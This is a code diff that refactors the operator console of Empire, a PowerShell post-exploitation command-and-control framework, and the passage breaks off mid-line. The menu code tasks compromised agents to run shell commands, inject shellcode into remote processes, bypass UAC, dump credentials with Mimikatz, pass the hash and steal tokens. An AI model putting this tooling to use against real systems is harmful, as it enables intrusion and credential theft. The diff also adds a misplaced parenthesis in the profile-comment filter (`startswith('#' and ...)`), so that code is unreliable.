-1369,7 +1393,7 @@ def do_main(self, line): def do_help(self, *args): "Displays the help menu or syntax for particular commands." - + if args[0].lower() == "agentcmds": print "\n" + helpers.color("[*] Available opsec-safe agent commands:\n") print " " + messages.wrap_columns(", ".join(self.agentCommands), " ", width1=50, width2=10, indent=5) + "\n" @@ -1390,7 +1414,7 @@ def do_list(self, line): def do_rename(self, line): "Rename the agent." - + parts = line.strip().split(" ") oldname = self.mainMenu.agents.get_agent_name(self.sessionID) @@ -1399,7 +1423,7 @@ def do_rename(self, line): # replace the old name with the new name result = self.mainMenu.agents.rename_agent(oldname, parts[0]) if result: - self.prompt = "(Empire: "+helpers.color(parts[0],'red')+") > " + self.prompt = "(Empire: " + helpers.color(parts[0], 'red') + ") > " else: print helpers.color("[!] Please enter a new name for the agent") @@ -1424,11 +1448,12 @@ def do_exit(self, line): self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit") return True - except KeyboardInterrupt as e: print "" + except KeyboardInterrupt: + print "" def do_clear(self, line): - "Clear out agent tasking." + "Clear out agent tasking." self.mainMenu.agents.clear_agent_tasks(self.sessionID) @@ -1481,7 +1506,7 @@ def do_lostlimit(self, line): # update this agent's information in the database self.mainMenu.agents.set_agent_field("lost_limit", lostLimit, self.sessionID) - self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit)) + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit)) # update the agent log msg = "Tasked agent to change lost limit " + str(lostLimit) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1503,7 +1528,7 @@ def do_kill(self, line): # otherwise assume we were passed a process name # so grab all processes by this name and kill them command = "Get-Process " + str(process) + " | %{Stop-Process $_.Id -Force}" - + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", command) # update the agent log @@ -1513,7 +1538,7 @@ def do_kill(self, line): def do_killdate(self, line): "Get or set an agent's killdate (01/01/2016)." - + parts = line.strip().split(" ") date = parts[0] @@ -1544,7 +1569,7 @@ def do_workinghours(self, line): self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours") else: - hours = hours.replace("," , "-") + hours = hours.replace(",", "-") # update this agent's information in the database self.mainMenu.agents.set_agent_field("working_hours", hours, self.sessionID) @@ -1558,7 +1583,7 @@ def do_workinghours(self, line): def do_shell(self, line): "Task an agent to use a shell command." - + line = line.strip() if line != "": @@ -1567,18 +1592,18 @@ def do_shell(self, line): # update the agent log msg = "Tasked agent to run shell command " + line self.mainMenu.agents.save_agent_log(self.sessionID, msg) - + def do_sysinfo(self, line): "Task an agent to get system information." - + # task the agent with this shell command self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SYSINFO") # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information") - def do_download(self,line): + def do_download(self, line): "Task an agent to download a file." line = line.strip() @@ -1590,14 +1615,14 @@ def do_download(self,line): self.mainMenu.agents.save_agent_log(self.sessionID, msg) - def do_upload(self,line): + def do_upload(self, line): "Task an agent to upload a file." # "upload /path/file.ext" or "upload /path/file/file.ext newfile.ext" # absolute paths accepted parts = line.strip().split(" ") uploadname = "" - + if len(parts) > 0 and parts[0] != "": if len(parts) == 1: # if we're uploading the file with its original name @@ -1608,17 +1633,17 @@ def do_upload(self,line): if parts[0] != "" and os.path.exists(parts[0]): # read in the file and base64 encode it for transport - f = open(parts[0], 'r') - fileData = f.read() - f.close() - - msg = "Tasked agent to upload " + parts[0] + " : " + hashlib.md5(fileData).hexdigest() + open_file = open(parts[0], 'r') + file_data = open_file.read() + open_file.close() + # update the agent log with the filename and MD5 + msg = "Tasked agent to upload %s : %s" % (parts[0], hashlib.md5(file_data).hexdigest()) self.mainMenu.agents.save_agent_log(self.sessionID, msg) - fileData = helpers.encode_base64(fileData) # upload packets -> "filename | script data" - data = uploadname + "|" + fileData + file_data = helpers.encode_base64(file_data) + data = uploadname + "|" + file_data self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_UPLOAD", data) else: print helpers.color("[!] Please enter a valid file path to upload") @@ -1626,28 +1651,29 @@ def do_upload(self,line): def do_scriptimport(self, line): "Imports a PowerShell script and keeps it in memory in the agent." - + path = line.strip() if path != "" and os.path.exists(path): - f = open(path, 'r') - scriptData = f.read() - f.close() + open_file = open(path, 'r') + script_data = open_file.read() + open_file.close() # strip out comments and blank lines from the imported script - scriptData = helpers.strip_powershell_comments(scriptData) + script_data = helpers.strip_powershell_comments(script_data) # task the agent to important the script - self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SCRIPT_IMPORT", scriptData) + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SCRIPT_IMPORT", script_data) + # update the agent log with the filename and MD5 - msg = "Tasked agent to import " + path + " : " + hashlib.md5(scriptData).hexdigest() + msg = "Tasked agent to import %s : %s" % (path, hashlib.md5(script_data).hexdigest()) self.mainMenu.agents.save_agent_log(self.sessionID, msg) # extract the functions from the script so we can tab-complete them - functions = helpers.parse_powershell_script(scriptData) + functions = helpers.parse_powershell_script(script_data) # set this agent's tab-completable functions - self.mainMenu.agents.set_agent_functions(self.sessionID,functions) + self.mainMenu.agents.set_agent_functions(self.sessionID, functions) else: print helpers.color("[!] Please enter a valid script path") @@ -1655,12 +1681,12 @@ def do_scriptimport(self, line): def do_scriptcmd(self, line): "Execute a function in the currently imported PowerShell script." - - cmd = line.strip() - if cmd != "": - self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SCRIPT_COMMAND", cmd) - msg = "[*] Tasked agent "+self.sessionID+" to run " + cmd + command = line.strip() + + if command != "": + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SCRIPT_COMMAND", command) + msg = "[*] Tasked agent %s to run %s" % (self.sessionID, command) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1671,20 +1697,20 @@ def do_usemodule(self, line): if module not in self.mainMenu.modules.modules: print helpers.color("[!] Error: invalid module") - else: - l = ModuleMenu(self.mainMenu, line, agent=self.sessionID) - l.cmdloop() + else: + module_menu = ModuleMenu(self.mainMenu, line, agent=self.sessionID) + module_menu.cmdloop() def do_searchmodule(self, line): "Search Empire module names/descriptions." - searchTerm = line.strip() + search_term = line.strip() - if searchTerm.strip() == "": + if search_term.strip() == "": print helpers.color("[!] Please enter a search term.") else: - self.mainMenu.modules.search_modules(searchTerm) + self.mainMenu.modules.search_modules(search_term) def do_updateprofile(self, line): @@ -1692,17 +1718,18 @@ def do_updateprofile(self, line): # profile format: # TaskURI1,TaskURI2,...|UserAgent|OptionalHeader1,OptionalHeader2... - + profile = line.strip().strip() - if profile != "" : + if profile != "": # load up a profile from a file if a path was passed if os.path.exists(profile): - f = open(profile, 'r') - profile = f.readlines() - f.close() + open_file = open(profile, 'r') + profile = open_file.readlines() + open_file.close() + # strip out profile comments and blank lines - profile = [l for l in profile if (not l.startswith("#") and l.strip() != "")] + profile = [l for l in profile if not l.startswith("#" and l.strip() != "")] profile = profile[0] if not profile.strip().startswith("\"/"): @@ -1712,10 +1739,10 @@ def do_updateprofile(self, line): # task the agent to update their profile self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", updatecmd) - + # update the agent's profile in the database self.mainMenu.agents.update_agent_profile(self.sessionID, profile) - + # print helpers.color("[*] Tasked agent "+self.sessionID+" to run " + updatecmd) # update the agent log msg = "Tasked agent to update profile " + profile @@ -1727,13 +1754,13 @@ def do_updateprofile(self, line): def do_psinject(self, line): "Inject a launcher into a remote process. Ex. psinject " - + # get the info for the psinject module if line: listenerID = line.split(" ")[0].strip() - pid='' + pid = '' - if len(line.split(" "))==2: + if len(line.split(" ")) == 2: pid = line.split(" ")[1].strip() if self.mainMenu.modules.modules["management/psinject"]: @@ -1742,19 +1769,19 @@ def do_psinject(self, line): module = self.mainMenu.modules.modules["management/psinject"] module.options['Listener']['Value'] = listenerID - module.options['Agent']['Value']=self.mainMenu.agents.get_agent_name(self.sessionID) + module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) if pid != '': module.options['ProcId']['Value'] = pid - l = ModuleMenu(self.mainMenu, "management/psinject") - l.cmdloop() + module_menu = ModuleMenu(self.mainMenu, "management/psinject") + module_menu.cmdloop() else: print helpers.color("[!] Please enter ") else: - print helpers.color("[!] management/psinject module not loaded") + print helpers.color("[!] management/psinject module not loaded") else: print helpers.color("[!] Injection requires you to specify listener") @@ -1762,13 +1789,13 @@ def do_psinject(self, line): def do_injectshellcode(self, line): "Inject listener shellcode into a remote process. Ex. injectshellcode " - + # get the info for the inject module if line: listenerID = line.split(" ")[0].strip() - pid='' + pid = '' - if len(line.split(" "))==2: + if len(line.split(" ")) == 2: pid = line.split(" ")[1].strip() if self.mainMenu.modules.modules["code_execution/invoke_shellcode"]: @@ -1777,75 +1804,72 @@ def do_injectshellcode(self, line): module = self.mainMenu.modules.modules["code_execution/invoke_shellcode"] module.options['Listener']['Value'] = listenerID - module.options['Agent']['Value']=self.mainMenu.agents.get_agent_name(self.sessionID) + module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) if pid != '': module.options['ProcessID']['Value'] = pid - l = ModuleMenu(self.mainMenu, "code_execution/invoke_shellcode") - l.cmdloop() + module_menu = ModuleMenu(self.mainMenu, "code_execution/invoke_shellcode") + module_menu.cmdloop() else: print helpers.color("[!] Please enter ") else: - print helpers.color("[!] code_execution/invoke_shellcode module not loaded") + print helpers.color("[!] code_execution/invoke_shellcode module not loaded") else: print helpers.color("[!] Injection requires you to specify listener") def do_sc(self, line): "Takes a screenshot, default is PNG. Giving a ratio means using JPEG. Ex. sc [1-100]" - + # get the info for the psinject module - if len(line.strip())>0: + if len(line.strip()) > 0: # JPEG compression ratio try: - sRatio = str(int(line.strip())) - except: + screenshot_ratio = str(int(line.strip())) + except Exception: print helpers.color("[*] JPEG Ratio incorrect. Has been set to 80.") - sRatio = "80" + screenshot_ratio = "80" else: - sRatio = "" - + screenshot_ratio = "" + if self.mainMenu.modules.modules["collection/screenshot"]: module = self.mainMenu.modules.modules["collection/screenshot"] module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) - module.options['Ratio']['Value'] = sRatio - + module.options['Ratio']['Value'] = screenshot_ratio + # execute the screenshot module - l = ModuleMenu(self.mainMenu, "collection/screenshot") - l.do_execute("") - + module_menu = ModuleMenu(self.mainMenu, "collection/screenshot") + module_menu.do_execute("") + else: - print helpers.color("[!] collection/screenshot module not loaded") - - + print helpers.color("[!] collection/screenshot module not loaded") + + def do_spawn(self, line): "Spawns a new Empire agent for the given listener name. Ex. spawn " - + # get the info for the spawn module if line: listenerID = line.split(" ")[0].strip() - pid='' - if len(line.split(" "))==2: - pid = line.split(" ")[1].strip() if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID): - #ensure the inject module is loaded + # ensure the inject module is loaded if self.mainMenu.modules.modules["management/spawn"]: module = self.mainMenu.modules.modules["management/spawn"] module.options['Listener']['Value'] = listenerID - module.options['Agent']['Value']=self.mainMenu.agents.get_agent_name(self.sessionID) + module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) # jump to the spawn module - l = ModuleMenu(self.mainMenu, "management/spawn") - l.cmdloop() + module_menu = ModuleMenu(self.mainMenu, "management/spawn") + module_menu.cmdloop() else: - print helpers.color("[!] management/spawn module not loaded") + print helpers.color("[!] management/spawn module not loaded") else: print helpers.color("[!] Please enter a valid listener name or ID.") @@ -1856,29 +1880,26 @@ def do_spawn(self, line): def do_bypassuac(self, line): "Runs BypassUAC, spawning a new high-integrity agent for a listener. Ex. spawn " - + # get the info for the bypassuac module if line: listenerID = line.split(" ")[0].strip() - pid='' - if len(line.split(" "))==2: - pid = line.split(" ")[1].strip() if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID): - #ensure the inject module is loaded + # ensure the inject module is loaded if self.mainMenu.modules.modules["privesc/bypassuac"]: module = self.mainMenu.modules.modules["privesc/bypassuac"] module.options['Listener']['Value'] = listenerID - module.options['Agent']['Value']=self.mainMenu.agents.get_agent_name(self.sessionID) + module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) # jump to the spawn module - l = ModuleMenu(self.mainMenu, "privesc/bypassuac") - l.do_execute("") + module_menu = ModuleMenu(self.mainMenu, "privesc/bypassuac") + module_menu.do_execute("") else: - print helpers.color("[!] privesc/bypassuac module not loaded") + print helpers.color("[!] privesc/bypassuac module not loaded") else: print helpers.color("[!] Please enter a valid listener name or ID.") @@ -1889,23 +1910,23 @@ def do_bypassuac(self, line): def do_mimikatz(self, line): "Runs Invoke-Mimikatz on the client." - - #ensure the credentials/mimiktaz/logonpasswords module is loaded + + # ensure the credentials/mimiktaz/logonpasswords module is loaded if self.mainMenu.modules.modules["credentials/mimikatz/logonpasswords"]: module = self.mainMenu.modules.modules["credentials/mimikatz/logonpasswords"] - module.options['Agent']['Value']=self.mainMenu.agents.get_agent_name(self.sessionID) + module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) # execute the Mimikatz module - l = ModuleMenu(self.mainMenu, "credentials/mimikatz/logonpasswords") - l.do_execute("") + module_menu = ModuleMenu(self.mainMenu, "credentials/mimikatz/logonpasswords") + module_menu.do_execute("") def do_pth(self, line): "Executes PTH for a CredID through Mimikatz." - + credID = line.strip() - + if credID == "": print helpers.color("[!] Please specify a .") return @@ -1923,15 +1944,15 @@ def do_pth(self, line): module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) # execute the mimikatz/pth module - l = ModuleMenu(self.mainMenu, "credentials/mimikatz/pth") - l.do_execute("") + module_menu = ModuleMenu(self.mainMenu, "credentials/mimikatz/pth") + module_menu.do_execute("") def do_steal_token(self, line): "Uses credentials/tokens to impersonate a token for a given process ID." - + processID = line.strip() - + if processID == "": print helpers.color("[!] Please specify a process ID.") return @@ -1950,8 +1971,8 @@ def do_steal_token(self, line): module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) # execute the token module - l = ModuleMenu(self.mainMenu, "credentials/tokens") - l.do_execute("") + module_menu = ModuleMenu(self.mainMenu, "credentials/tokens") + module_menu.do_execute("") # run a sysinfo to update self.do_sysinfo(line) @@ -1973,8 +1994,8 @@ def do_revtoself(self, line): module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name(self.sessionID) # execute the token module - l = ModuleMenu(self.mainMenu, "credentials/tokens") - l.do_execute("") + module_menu = ModuleMenu(self.mainMenu, "credentials/tokens") + module_menu.do_execute("") # run a sysinfo to update self.do_sysinfo(line) @@ -2021,8 +2042,8 @@ def complete_jobs(self, text, line, begidx, endidx): def complete_scriptimport(self, text, line, begidx, endidx): "Tab-complete a PowerShell script path" - - return helpers.complete_path(text,line) + + return helpers.complete_path(text, line) def complete_scriptcmd(self, text, line, begidx, endidx): @@ -2042,12 +2063,12 @@ def complete_usemodule(self, text, line, begidx, endidx): def complete_upload(self, text, line, begidx, endidx): "Tab-complete an upload file path" - return helpers.complete_path(text,line) + return helpers.complete_path(text, line) def complete_updateprofile(self, text, line, begidx, endidx): "Tab-complete an updateprofile path" - return helpers.complete_path(text,line) + return helpers.complete_path(text, line) def complete_creds(self, text, line, begidx, endidx): @@ -2057,18 +2078,20 @@ def complete_creds(self, text, line, begidx, endidx): class ListenerMenu(cmd.Cmd): - + """ + The main class used by Empire to drive the 'listener' menu. + """ def __init__(self, mainMenu): cmd.Cmd.__init__(self) self.doc_header = 'Listener Commands' self.mainMenu = mainMenu - + # get all the the stock listener options self.options = self.mainMenu.listeners.get_listener_options() # set the prompt text - self.prompt = '(Empire: '+helpers.color("listeners", color="blue")+') > ' + self.prompt = '(Empire: ' + helpers.color("listeners", color="blue") + ') > ' # display all active listeners on menu startup messages.display_listeners(self.mainMenu.listeners.get_listeners()) @@ -2078,17 +2101,18 @@ def __init__(self, mainMenu): # print a nicely formatted help menu # stolen/adapted from recon-ng - def print_topics(self, header, cmds, cmdlen, maxcol): - if cmds: - self.stdout.write("%s\n"%str(header)) + def print_topics(self, header, commands, cmdlen, maxcol): + if commands: + self.stdout.write("%s\n" % str(header)) if self.ruler: - self.stdout.write("%s\n"%str(self.ruler * len(header))) - for cmd in cmds: - self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("%s\n" % str(self.ruler * len(header))) + for command in commands: + self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__)) self.stdout.write("\n") - def emptyline(self): pass + def emptyline(self): + pass def do_list(self, line): @@ -2129,17 +2153,17 @@ def do_set(self, line): if parts[0].lower() == "defaultprofile" and os.path.exists(parts[1]): try: - f = open(parts[1], 'r') - profileDataRaw = f.readlines() - - profileData = [l for l in profileDataRaw if (not l.startswith("#") and l.strip() != "")] - profileData = profileData[0].strip("\"") + open_file = open(parts[1], 'r') + profile_data_raw = open_file.readlines() + open_file.close() - f.close() - self.mainMenu.listeners.set_listener_option(parts[0], profileData) + profile_data = [l for l in profile_data_raw if not l.startswith("#" and l.strip() != "")] + profile_data = profile_data[0].strip("\"") - except: - print helpers.color("[!] Error opening profile file %s" %(parts[1])) + self.mainMenu.listeners.set_listener_option(parts[0], profile_data) + + except Exception: + print helpers.color("[!] Error opening profile file %s" % (parts[1])) else: self.mainMenu.listeners.set_listener_option(parts[0], " ".join(parts[1:])) else: @@ -2192,7 +2216,8 @@ def do_kill(self, line): choice = raw_input(helpers.color("[>] Kill all listeners? [y/N] ", "red")) if choice.lower() != "" and choice.lower()[0] == "y": self.mainMenu.listeners.killall() - except KeyboardInterrupt as e: print "" + except KeyboardInterrupt: + print "" else: if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID): @@ -2206,9 +2231,9 @@ def do_execute(self, line): "Execute a listener with the currently specified options." (success, message) = self.mainMenu.listeners.add_listener_from_config() if success: - print helpers.color("[*] Listener '%s' successfully started." %(message)) + print helpers.color("[*] Listener '%s' successfully started." % (message)) else: - print helpers.color("[!] %s" %(message)) + print helpers.color("[!] %s" % (message)) def do_run(self, line): @@ -2225,28 +2250,28 @@ def do_usestager(self, line): print helpers.color("[!] Error: invalid stager module") elif len(parts) == 1: - l = StagerMenu(self.mainMenu, parts[0]) - l.cmdloop() + stager_menu = StagerMenu(self.mainMenu, parts[0]) + stager_menu.cmdloop() elif len(parts) == 2: listener = parts[1] if not self.mainMenu.listeners.is_listener_valid(listener): print helpers.color("[!] Please enter a valid listener name or ID") else: self.mainMenu.stagers.set_stager_option('Listener', listener) - l = StagerMenu(self.mainMenu, parts[0]) - l.cmdloop() + stager_menu = StagerMenu(self.mainMenu, parts[0]) + stager_menu.cmdloop() else: print helpers.color("[!] Error in ListenerMenu's do_userstager()") def do_launcher(self, line): "Generate an initial launcher for a listener." - + nameid = self.mainMenu.listeners.get_listener_id(line.strip()) - if nameid : + if nameid: listenerID = nameid else: - listenerID = line.strip() + listenerID = line.strip() if listenerID != "" and self.mainMenu.listeners.is_listener_valid(listenerID): # set the listener value for the launcher @@ -2262,15 +2287,15 @@ def do_launcher(self, line): def do_interact(self, line): "Interact with a particular agent." - + name = line.strip() if name != "" and self.mainMenu.agents.is_agent_present(name): # resolve the passed name to a sessionID sessionID = self.mainMenu.agents.get_agent_id(name) - a = AgentMenu(self.mainMenu, sessionID) - a.cmdloop() + agent_menu = AgentMenu(self.mainMenu, sessionID) + agent_menu.cmdloop() else: print helpers.color("[!] Please enter a valid agent name") @@ -2285,24 +2310,24 @@ def complete_set(self, text, line, begidx, endidx): # if we're tab-completing a listener name, return all the names listenerNames = self.mainMenu.listeners.get_listener_names() - endLine = " ".join(line.split(" ")[1:]) - mline = endLine.partition(' ')[2] + end_line = " ".join(line.split(" ")[1:]) + mline = end_line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in listenerNames if s.startswith(mline)] elif line.split(" ")[1].lower() == "type": # if we're tab-completing the listener type listenerTypes = ["native", "pivot", "hop", "foreign", "meter"] - endLine = " ".join(line.split(" ")[1:]) - mline = endLine.partition(' ')[2] + end_line = " ".join(line.split(" ")[1:]) + mline = end_line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in listenerTypes if s.startswith(mline)] elif line.split(" ")[1].lower() == "certpath": - return helpers.complete_path(text,line,arg=True) - + return helpers.complete_path(text, line, arg=True) + elif line.split(" ")[1].lower() == "defaultprofile": - return helpers.complete_path(text,line,arg=True) + return helpers.complete_path(text, line, arg=True) mline = line.partition(' ')[2] offs = len(mline) - len(text) @@ -2365,7 +2390,9 @@ def complete_interact(self, text, line, begidx, endidx): class ModuleMenu(cmd.Cmd): - + """ + The main class used by Empire to drive the 'module' menu. + """ def __init__(self, mainMenu, moduleName, agent=None): cmd.Cmd.__init__(self) self.doc_header = 'Module Commands' @@ -2377,7 +2404,7 @@ def __init__(self, mainMenu, moduleName, agent=None): self.module = self.mainMenu.modules.modules[moduleName] # set the prompt text - self.prompt = '(Empire: '+helpers.color(self.moduleName, color="blue")+') > ' + self.prompt = '(Empire: ' + helpers.color(self.moduleName, color="blue") + ') > ' # if this menu is being called from an agent menu if agent: @@ -2390,24 +2417,24 @@ def __init__(self, mainMenu, moduleName, agent=None): def validate_options(self): "Make sure all required module options are completed." - + sessionID = self.module.options['Agent']['Value'] - for option,values in self.module.options.iteritems(): + for option, values in self.module.options.iteritems(): if values['Required'] and ((not values['Value']) or (values['Value'] == '')): print helpers.color("[!] Error: Required module option missing.") return False try: # if we're running this module for all agents, skip this validation - if sessionID.lower() != "all" and sessionID.lower() != "autorun": + if sessionID.lower() != "all" and sessionID.lower() != "autorun": modulePSVersion = int(self.module.info['MinPSVersion']) agentPSVersion = int(self.mainMenu.agents.get_ps_version(sessionID)) # check if the agent/module PowerShell versions are compatible if modulePSVersion > agentPSVersion: - print helpers.color("[!] Error: module requires PS version "+str(modulePSVersion)+" but agent running PS version "+str(agentPSVersion)) + print helpers.color("[!] Error: module requires PS version %s but agent running PS version %s" % (modulePSVersion, agentPSVersion)) return False - except Exception as e: + except Exception: print helpers.color("[!] Invalid module or agent PS version!") return False @@ -2425,25 +2452,26 @@ def validate_options(self): choice = raw_input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red")) if not (choice.lower() != "" and choice.lower()[0] == "y"): return False - except KeyboardInterrupt as e: + except KeyboardInterrupt: print "" return False return True - def emptyline(self): pass + def emptyline(self): + pass # print a nicely formatted help menu # stolen/adapted from recon-ng - def print_topics(self, header, cmds, cmdlen, maxcol): - if cmds: - self.stdout.write("%s\n"%str(header)) + def print_topics(self, header, commands, cmdlen, maxcol): + if commands: + self.stdout.write("%s\n" % str(header)) if self.ruler: - self.stdout.write("%s\n"%str(self.ruler * len(header))) - for cmd in cmds: - self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("%s\n" % str(self.ruler * len(header))) + for command in commands: + self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__)) self.stdout.write("\n") @@ -2506,15 +2534,15 @@ def do_options(self, line): def do_set(self, line): "Set a module option." - + parts = line.split() try: option = parts[0] if option not in self.module.options: - print helpers.color("[!] Invalid option specified.") + print helpers.color("[!] Invalid option specified.") - elif len(parts) == 1 : + elif len(parts) == 1: # "set OPTION" # check if we're setting a switch if self.module.options[option]['Description'].startswith("Switch."): @@ -2525,8 +2553,9 @@ def do_set(self, line): # otherwise "set OPTION VALUE" option = parts[0] value = " ".join(parts[1:]) - - if value == '""' or value == "''": value = "" + + if value == '""' or value == "''": + value = "" self.module.options[option]['Value'] = value except: @@ -2554,9 +2583,9 @@ def do_usemodule(self, line): if module not in self.mainMenu.modules.modules: print helpers.color("[!] Error: invalid module") - else: - l = ModuleMenu(self.mainMenu, line, agent=self.module.options['Agent']['Value']) - l.cmdloop() + else: + module_menu = ModuleMenu(self.mainMenu, line, agent=self.module.options['Agent']['Value']) + module_menu.cmdloop() def do_creds(self, line): @@ -2618,7 +2647,7 @@ def do_execute(self, line): try: choice = raw_input(helpers.color("[>] Run module on all agents? [y/N] ", "red")) if choice.lower() != "" and choice.lower()[0] == "y": - + # signal everyone with what we're doing print helpers.color("[*] Tasking all agents to run " + self.moduleName) dispatcher.send("[*] Tasking all agents to run " + self.moduleName, sender="Empire") @@ -2632,17 +2661,19 @@ def do_execute(self, line): self.mainMenu.agents.add_agent_task(sessionID, taskCommand, moduleData) # update the agent log - dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="Empire") - msg = "Tasked agent to run module " + self.moduleName + # dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="Empire") + dispatcher.send("[*] Tasked agent %s to run module %s" % (sessionID, self.moduleName), sender="Empire") + msg = "Tasked agent to run module %s" % (self.moduleName) self.mainMenu.agents.save_agent_log(sessionID, msg) - except KeyboardInterrupt as e: print "" + except KeyboardInterrupt: + print "" # set the script to be the global autorun elif agentName.lower() == "autorun": self.mainMenu.agents.set_autoruns(taskCommand, moduleData) - dispatcher.send("[*] Set module " + self.moduleName + " to be global script autorun.", sender="Empire") + dispatcher.send("[*] Set module %s to be global script autorun." % (self.moduleName), sender="Empire") else: if not self.mainMenu.agents.is_agent_present(agentName): @@ -2652,8 +2683,8 @@ def do_execute(self, line): self.mainMenu.agents.add_agent_task(agentName, taskCommand, moduleData) # update the agent log - dispatcher.send("[*] Tasked agent "+agentName+" to run module " + self.moduleName, sender="Empire") - msg = "Tasked agent to run module " + self.moduleName + dispatcher.send("[*] Tasked agent %s to run module %s" % (agentName, self.moduleName), sender="Empire") + msg = "Tasked agent to run module %s" % (self.moduleName) self.mainMenu.agents.save_agent_log(agentName, msg) @@ -2664,15 +2695,15 @@ def do_run(self, line): def do_interact(self, line): "Interact with a particular agent." - + name = line.strip() if name != "" and self.mainMenu.agents.is_agent_present(name): # resolve the passed name to a sessionID sessionID = self.mainMenu.agents.get_agent_id(name) - a = AgentMenu(self.mainMenu, sessionID) - a.cmdloop() + agent_menu = AgentMenu(self.mainMenu, sessionID) + agent_menu.cmdloop() else: print helpers.color("[!] Please enter a valid agent name") @@ -2685,26 +2716,26 @@ def complete_set(self, text, line, begidx, endidx): if line.split(" ")[1].lower() == "agent": # if we're tab-completing "agent", return the agent names agentNames = self.mainMenu.agents.get_agent_names() + ["all", "autorun"] - endLine = " ".join(line.split(" ")[1:]) - - mline = endLine.partition(' ')[2] + end_line = " ".join(line.split(" ")[1:]) + + mline = end_line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in agentNames if s.startswith(mline)] elif line.split(" ")[1].lower() == "listener": # if we're tab-completing a listener name, return all the names listenerNames = self.mainMenu.listeners.get_listener_names() - endLine = " ".join(line.split(" ")[1:]) + end_line = " ".join(line.split(" ")[1:]) - mline = endLine.partition(' ')[2] + mline = end_line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in listenerNames if s.startswith(mline)] elif line.split(" ")[1].lower().endswith("path"): - return helpers.complete_path(text,line,arg=True) + return helpers.complete_path(text, line, arg=True) elif line.split(" ")[1].lower().endswith("file"): - return helpers.complete_path(text,line,arg=True) + return helpers.complete_path(text, line, arg=True) elif line.split(" ")[1].lower().endswith("host"): return [helpers.lhost()] @@ -2746,7 +2777,9 @@ def complete_interact(self, text, line, begidx, endidx): class StagerMenu(cmd.Cmd): - + """ + The main class used by Empire to drive the 'stager' menu. + """ def __init__(self, mainMenu, stagerName, listener=None): cmd.Cmd.__init__(self) self.doc_header = 'Stager Menu' @@ -2758,7 +2791,7 @@ def __init__(self, mainMenu, stagerName, listener=None): self.stager = self.mainMenu.stagers.stagers[stagerName] # set the prompt text - self.prompt = '(Empire: '+helpers.color("stager/"+self.stagerName, color="blue")+') > ' + self.prompt = '(Empire: ' + helpers.color("stager/" + self.stagerName, color="blue") + ') > ' # if this menu is being called from an listener menu if listener: @@ -2769,8 +2802,8 @@ def __init__(self, mainMenu, stagerName, listener=None): def validate_options(self): "Make sure all required stager options are completed." - - for option,values in self.stager.options.iteritems(): + + for option, values in self.stager.options.iteritems(): if values['Required'] and ((not values['Value']) or (values['Value'] == '')): print helpers.color("[!] Error: Required stager option missing.") return False @@ -2784,18 +2817,19 @@ def validate_options(self): return True - def emptyline(self): pass + def emptyline(self): + pass # print a nicely formatted help menu # stolen/adapted from recon-ng - def print_topics(self, header, cmds, cmdlen, maxcol): - if cmds: - self.stdout.write("%s\n"%str(header)) + def print_topics(self, header, commands, cmdlen, maxcol): + if commands: + self.stdout.write("%s\n" % str(header)) if self.ruler: - self.stdout.write("%s\n"%str(self.ruler * len(header))) - for cmd in cmds: - self.stdout.write("%s %s\n" % (cmd.ljust(17), getattr(self, 'do_' + cmd).__doc__)) + self.stdout.write("%s\n" % str(self.ruler * len(header))) + for command in commands: + self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__)) self.stdout.write("\n") @@ -2847,15 +2881,15 @@ def do_options(self, line): def do_set(self, line): "Set a stager option." - + parts = line.split() try: option = parts[0] if option not in self.stager.options: - print helpers.color("[!] Invalid option specified.") + print helpers.color("[!] Invalid option specified.") - elif len(parts) == 1 : + elif len(parts) == 1: # "set OPTION" # check if we're setting a switch if self.stager.options[option]['Description'].startswith("Switch."): @@ -2866,8 +2900,9 @@ def do_set(self, line): # otherwise "set OPTION VALUE" option = parts[0] value = " ".join(parts[1:]) - - if value == '""' or value == "''": value = "" + + if value == '""' or value == "''": + value = "" self.stager.options[option]['Value'] = value except: @@ -2907,20 +2942,21 @@ def do_generate(self, line): # if we need to write binary output for a .dll if ".dll" in savePath: - f = open(savePath, 